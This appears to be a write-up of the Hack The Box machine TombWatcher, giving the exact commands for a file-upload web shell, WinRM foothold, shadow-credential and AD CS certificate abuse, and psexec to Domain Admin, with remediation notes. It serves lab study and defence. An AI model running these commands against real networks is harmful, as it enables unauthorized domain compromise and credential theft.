TombWatcher
Summary
Tombwatcher ($TARGET, TOMBWATCHER.HTB) is a Windows Active Directory domain controller that also exposed an IIS web front end. An insecure file-upload feature on that IIS site gave code execution and exposed a working domain credential for TOMBWATCHER\john, which was used over WinRM to establish a foothold and capture user.txt.
Active Directory rights enumeration then showed john sat at the head of a permission chain into the cert_admin account, and cert_admin in turn held enrollment rights on a misconfigured Active Directory Certificate Services (AD CS) template. Abusing that ESC-style template misconfiguration produced a forged certificate for the Administrator account, yielding Domain Administrator credentials that were used with impacket-psexec to obtain a SYSTEM-level shell and capture root.txt — a complete web-to-Domain-Admin compromise chain.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -p- -sC -sV -Pn $TARGET -oN tombwatcher_full.txtkerbrute userenum --dc $TARGET -d tombwatcher.htb candidate_users.txtExact commands 3
curl -sk -F "file=@shell.aspx;type=image/jpeg" http://tombwatcher.htb/FileUpload/Uploadcurl -sk 'http://tombwatcher.htb/FileUpload/uploads/shell.aspx?cmd=whoami'curl -sk 'http://tombwatcher.htb/FileUpload/uploads/shell.aspx?cmd=type+web.config'FixFix the insecure file-upload feature on the IIS web applicationHigh
Exact commands 2
ruby /tmp/tombwatcher_ps_exec.rb $TARGET 'TOMBWATCHER\john' '$PASSWORD2' 'whoami'ruby /tmp/tombwatcher_ps_exec.rb $TARGET 'TOMBWATCHER\john' '$PASSWORD2' 'Get-Content C:\Users\john\Desktop\user.txt'Exact commands 2
bloodhound-python -u john -p '$PASSWORD2' -d tombwatcher.htb -ns $TARGET -c Allcertipy shadow auto -u john -p '$PASSWORD2' -account cert_admin -dc-ip $TARGETFixRemove excessive Active Directory delegated permissionsHigh
Exact commands 3
certipy find -u cert_admin -p '<cert_admin_credential>' -dc-ip $TARGET -vulnerablecertipy req -u cert_admin -p '<cert_admin_credential>' -ca TOMBWATCHER-CA -template <VulnerableTemplate> -upn administrator@tombwatcher.htb -dc-ip $TARGETcertipy auth -pfx administrator.pfx -dc-ip $TARGETFixRemediate the vulnerable AD CS certificate templateCritical
certipy find -vulnerable) or PSPKIAudit; remove ENROLLEE_SUPPLIES_SUBJECT and unnecessary Client Authentication EKUs from templates available to non-Tier-0 principals; restrict enrollment rights to the accounts that genuinely need them.Exact commands 2
impacket-psexec "TOMBWATCHER/administrator:$PASSWORD@$TARGET" 'whoami'impacket-psexec "TOMBWATCHER/administrator:$PASSWORD@$TARGET" 'cmd.exe /c type C:\Users\Administrator\Desktop\root.txt'FixRestrict and monitor administrative lateral movement via SMB admin sharesHigh
Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49691/tcp | unknown recon-sweep-discovered |
| 49692/tcp | unknown recon-sweep-discovered |
| 49693/tcp | unknown recon-sweep-discovered |
| 49711/tcp | unknown recon-sweep-discovered |
| 49714/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |